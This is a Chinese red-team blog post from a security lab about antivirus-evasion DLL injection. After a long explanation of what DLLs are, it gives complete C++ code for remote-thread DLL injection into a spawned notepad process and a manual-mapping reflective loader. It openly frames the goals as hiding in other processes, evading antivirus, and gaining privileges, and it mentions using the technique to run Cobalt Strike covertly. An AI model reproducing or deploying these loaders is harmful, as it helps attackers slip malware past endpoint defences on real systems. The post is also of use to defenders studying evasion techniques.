本文章是蛇矛实验室基于”火天网测网络安全测试平台”进行编写及验证,通过火天网测中的病毒测试模块,可以对文件进行详尽的评估, 从而对文件是否存在恶意行为进行判断。
DLL简介
DLL(动态链接库)注入技术是木马程序,远控程序免杀过程中很常见的一种技术。但是这种技术随着时间的流逝,免杀效果越来越差。因此,需要在原版的基础上我们需要去升级成反射注入,也是目前主流的免杀方式之一,反射注入的介绍我们在下面详解。
在我们继续下面的操作时,我们先去看看dll是什么.MSDN[What is a DLL](https://learn.microsoft.com/en-us/troubleshoot/windows-client/deployment/dynamic-link-library)文章。通过文章基本可以了解到dll就是包含各种数据的库,它们提供了一种模块化的代码编写方法。当我们使用像 LoadLibraryA 这样的函数时,可以加载到我们程序中。
什么是 DLL
对于 Windows 操作系统,操作系统的大部分功能都是由 DLL 提供的。此外,当您在这些 Windows 操作系统上运行程序时,该程序的大部分功能可能由 DLL 提供。例如,一些程序可能包含许多不同的模块,程序的每个模块都包含在DLL中并分布在DLL中。
DLL 的使用有助于促进代码的模块化、代码重用、有效的内存使用和减少磁盘空间。因此,操作系统和程序加载速度更快,运行速度更快,并且在计算机上占用的磁盘空间更少。
当程序使用 DLL 时,称为依赖性的问题可能会导致程序无法运行。当程序使用 DLL 时,会创建一个依赖项。如果另一个程序覆盖并破坏了这种依赖关系,则原始程序可能无法成功运行。
随着 .NET Framework 的引入,大多数依赖问题已通过使用程序集消除。
更多信息
DLL 是一个库,其中包含可由多个程序同时使用的代码和数据。例如,在 Windows 操作系统中,Comdlg32 DLL 执行常见的对话框相关功能。每个程序都可以使用此 DLL 中包含的功能来实现打开对话框。它有助于促进代码重用和有效的内存使用,通过使用 DLL,可以将程序模块化为单独的组件。例如,会计程序可以按模块销售。如果安装了该模块,则每个模块都可以在运行时加载到主程序中。因为模块是分开的,所以程序的加载时间更快。并且仅在请求该功能时才加载模块。
此外,更新更容易应用于每个模块,而不会影响程序的其他部分。例如,您可能有一个工资计划,并且税率每年都在变化。当这些更改被隔离到 DLL 时,您可以应用更新而无需再次构建或安装整个程序。
以下列表描述了在 Windows 操作系统中作为 DLL 实现的一些文件:
ActiveX 控件 (.ocx) 文件
ActiveX 控件的一个示例是日历控件,它允许您从日历中选择日期。
控制面板 (.cpl) 文件
.cpl 文件的一个示例是位于控制面板中的项目。每个项目都是一个专门的 DLL。
设备驱动程序 (.drv) 文件
设备驱动程序的一个示例是控制打印到打印机的打印机驱动程序。
DLL 优势
以下列表描述了程序使用 DLL 时提供的一些优势:
使用更少的资源
当多个程序使用同一个函数库时,DLL 可以减少加载到磁盘和物理内存中的代码重复。它不仅可以极大地影响在前台运行的程序的性能,还可以极大地影响在 Windows 操作系统上运行的其他程序的性能。
促进模块化架构
DLL 有助于促进模块化程序的开发。它可以帮助您开发需要多种语言版本的大型程序或需要模块化架构的程序。模块化程序的一个示例是具有许多可以在运行时动态加载的模块的会计程序。
简化部署和安装
当 DLL 中的函数需要更新或修复时,DLL 的部署和安装不需要程序与 DLL 重新链接。此外,如果多个程序使用相同的 DLL,则多个程序都将受益于更新或修复。当您使用定期更新或修复的第三方 DLL 时,此问题可能会更频繁地发生。
从磁盘加载DLL(自身加载)
我们首先编写一个DLL(动态链接库),一个EXE(加载器),然后去把DLL加载到我们的EXE中。
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL, "DLL_PROCESS_ATTACH", "info", NULL);
break;
case DLL_THREAD_ATTACH:
MessageBoxA(NULL, "DLL_THREAD_ATTACH", "info", NULL);
break;
case DLL_THREAD_DETACH:
MessageBoxA(NULL, "DLL_THREAD_DETACH", "info", NULL);
break;
case DLL_PROCESS_DETACH:
MessageBoxA(NULL, "DLL_PROCESS_DETACH", "info", NULL);
break;
}
return TRUE;
}
#include <Windows.h>
#include <iostream>
int main()
{
// 使用LoadLibraryA加载我们的dll 加载成功返回模块句柄
printf("%pn",LoadLibraryA("dll.dll"));
std::cin.get();
return 0;
}
我们这里触发了DLL_PROCESS_ATTACH 关闭exe触发了DLL_PROCESS_DETACH,这里就是说明我们的DLL已经被加载到我们的EXE中了。我们可以用Process Hacker 2工具看下:
可以看到我们的模块地址 还有模块名称。
从磁盘加载DLL(远程加载)
如果我们想把我们的程序加载到别的进程中,那么该如何去做呢?
-
问:为什么要注入到别人的进程中
-
答:注入到别人的进程中后有利于我们的隐藏。
-
答:注入到别人的进程中有利于做免杀。
-
答:注入到系统进程中有更高的操作权限。
DLL程序源码不变,我们去修改下load的代码。注入我会相对详细的去写在代码里面。
#include <Windows.h>
#include <iostream>
void RemoteLoadDll(LPCSTR path)
{
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = {};
// 创建一个notepad的进程
if (CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) == NULL)
{
// 如果创建失败直接返回
return;
}
else
{
// 创建成功打印进程pid 和 进程句柄
printf("Process PID: %dn", pi.dwProcessId);
printf("Process Handle: %pn", pi.hProcess);
int len = strlen(path);
// 在创建的进程中申请一块内存空间
LPVOID mem_addr = VirtualAllocEx(pi.hProcess, nullptr, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
printf(" :: Base Address: %pn", mem_addr);
// 把我们的dll路径写入到我们申请的内存空间内
WriteProcessMemory(pi.hProcess, mem_addr, (LPVOID)path, len, NULL);
// 从kernel32中获取到LoadLibraryA的函数地址
PTHREAD_START_ROUTINE func_addr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32"), "LoadLibraryA");
printf(" :: THREAD_START_ROUTINE: %pn", func_addr);
// 创建远程线程调用LoadLibraryA加载我们的dll
HANDLE thread_handle = CreateRemoteThread(pi.hProcess, NULL, 0, func_addr, mem_addr, 0, NULL);
printf(" :: Thread: %pn", thread_handle);
// 释放工作
if (pi.hProcess)CloseHandle(pi.hProcess);
if (pi.hThread)CloseHandle(pi.hThread);
if (thread_handle)CloseHandle(thread_handle);
}
}
int main()
{
// 使用LoadLibraryA加载我们的dll 加载成功返回模块句柄
// printf("%pn", LoadLibraryA("dll.dll"));
RemoteLoadDll(R"(E:UsersRedTeamDesktopcodedll-injectx64Debugdll.dll)");
std::cin.get();
return 0;
}
可以发现DLL已经注入进去了,但是这种注入技术很容易被发现,因为我们在模块中就可以查到我们注入的DLL,那么我们为了更好的隐藏自身,就要用到反射注入了。
反射注入
反射式注入 dll ,不会调用 LoadLibraryA/W 等API来完成DLL的装载,DLL并没有在操作系统中”注册”自己的存在。因此无法使用CreateToolhelp32Snapshot 遍历到这个模块。像ProcessExplorer等软件也无法检测出进程加载了该DLL。同时也不需要 DLL 留在磁盘上(可以通过网络下发,或加密后存放在磁盘)避免文件落地,因此这种注入方式更加隐蔽(也可以说是内存加载,因为两种思路其实是一样的。)。
过程如下
-
加载DLL的PE文件到要注入的内存中
-
展开PE文件
-
修复重定位
-
解析导入地址表 (IAT)
-
调用DLL_PROCESS_ATTACH
具体代码如下
#include <iostream>
#include <Windows.h>
//重定位表
typedef struct BASE_RELOCATION_BLOCK {
DWORD page_addr;
DWORD block_size;
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;
//重定位项
typedef struct BASE_RELOCATION_ENTRY {
USHORT offset : 12;
USHORT type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
using DLLEntry = BOOL(WINAPI*)(HINSTANCE dll, DWORD reason, LPVOID reserved);
int main()
{
printf("pid:%dn", GetCurrentProcessId());
// 获取当前模块
PVOID imagebase = GetModuleHandleA(NULL);
//将DLL字节读入内存缓冲区
HANDLE dll = CreateFileA(R"(C:UsersAdministratorDesktopdll-injectDebugdll.dll)", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
DWORD64 dll_size = GetFileSize(dll, NULL);
LPVOID dll_bytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dll_size);
DWORD out_size = 0;
ReadFile(dll, dll_bytes, dll_size, &out_size, NULL);
// 解析dll
PIMAGE_DOS_HEADER dosheaders = (PIMAGE_DOS_HEADER)dll_bytes;
PIMAGE_NT_HEADERS ntheaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dll_bytes + dosheaders->e_lfanew);
SIZE_T dllImage_size = ntheaders->OptionalHeader.SizeOfImage;
// 为DLL分配新的内存空间
LPVOID dllbase = VirtualAlloc((LPVOID)ntheaders->OptionalHeader.ImageBase, dllImage_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
printf("new memory addr:%pn", dllbase);
//计算得到基地址的偏移量,也就是实际的 DLL 加载地址减去 DLL 的推荐加载地址
DWORD_PTR delta_image_base = (DWORD_PTR)dllbase - (DWORD_PTR)ntheaders->OptionalHeader.ImageBase;
// 将DLL节表头复制到新分配的DLL空间
std::memcpy(dllbase, dll_bytes, ntheaders->OptionalHeader.SizeOfHeaders);
// 将DLL节部分复制到新分配的DLL空间
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntheaders);
for (size_t i = 0; i < ntheaders->FileHeader.NumberOfSections; i++)
{
LPVOID section_destination = (LPVOID)((DWORD_PTR)dllbase + (DWORD_PTR)section->VirtualAddress);
LPVOID section_bytes = (LPVOID)((DWORD_PTR)dll_bytes + (DWORD_PTR)section->PointerToRawData);
std::memcpy(section_destination, section_bytes, section->SizeOfRawData);
section++;
}
//修复重定位
IMAGE_DATA_DIRECTORY relocations = ntheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
DWORD_PTR relocation_table = relocations.VirtualAddress + (DWORD_PTR)dllbase;
DWORD relocations_processed = 0;
while (relocations_processed < relocations.Size)
{
PBASE_RELOCATION_BLOCK relocation_block = (PBASE_RELOCATION_BLOCK)(relocation_table + relocations_processed);
relocations_processed += sizeof(BASE_RELOCATION_BLOCK);
DWORD relocations_count = (relocation_block->block_size - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
PBASE_RELOCATION_ENTRY relocation_entries = (PBASE_RELOCATION_ENTRY)(relocation_table + relocations_processed);
for (DWORD i = 0; i < relocations_count; i++)
{
relocations_processed += sizeof(BASE_RELOCATION_ENTRY);
if (relocation_entries[i].type == 0)
{
continue;
}
DWORD_PTR relocation_rva = relocation_block->page_addr + relocation_entries[i].offset;
DWORD_PTR address_2_patch = 0;
ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllbase + relocation_rva), &address_2_patch, sizeof(DWORD_PTR), NULL);
address_2_patch += delta_image_base;
std::memcpy((PVOID)((DWORD_PTR)dllbase + relocation_rva), &address_2_patch, sizeof(DWORD_PTR));
}
}
//解析导入地址表
PIMAGE_IMPORT_DESCRIPTOR import_descriptor = NULL;
IMAGE_DATA_DIRECTORY imports_directory = ntheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
import_descriptor = (PIMAGE_IMPORT_DESCRIPTOR)(imports_directory.VirtualAddress + (DWORD_PTR)dllbase);
LPCSTR libraryname = "";
HMODULE library = NULL;
while (import_descriptor->Name != NULL)
{
libraryname = (LPCSTR)import_descriptor->Name + (DWORD_PTR)dllbase;
library = LoadLibraryA(libraryname);
if (library)
{
PIMAGE_THUNK_DATA thunk = NULL;
thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllbase + import_descriptor->FirstThunk);
while (thunk->u1.AddressOfData != NULL)
{
if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
{
LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
}
else
{
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllbase + thunk->u1.AddressOfData);
DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
thunk->u1.Function = functionAddress;
}
++thunk;
}
}
import_descriptor++;
}
//执行
DLLEntry dllentry = (DLLEntry)((DWORD_PTR)dllbase + ntheaders->OptionalHeader.AddressOfEntryPoint);
(*dllentry)((HINSTANCE)dllbase, DLL_PROCESS_ATTACH, 0);
CloseHandle(dll);
HeapFree(GetProcessHeap(), 0, dll_bytes);
return 0;
}
从这里可以看到我们DLL的PE结构存放在我们新申请的内存里,我们内存展开后去执行了这个程序。这样更加隐蔽的去执行了我们的程序。在免杀技术中,我经常使用这种技术配合白加黑去执行Cobalt Strike的EXE程序,隐蔽的去执行我们的代码,当然这里我们也可以更加隐蔽的去执行我们的代码。
蛇矛实验室成立于2020年,致力于安全研究、攻防解决方案、靶场对标场景仿真复现及技战法设计与输出等相关方向。团队核心成员均由从事安全行业10余年经验的安全专家组成,团队目前成员涉及红蓝对抗、渗透测试、逆向破解、病毒分析、工控安全以及免杀等相关领域。
原文始发于微信公众号(蛇矛实验室):免杀技术之dll注入技术详解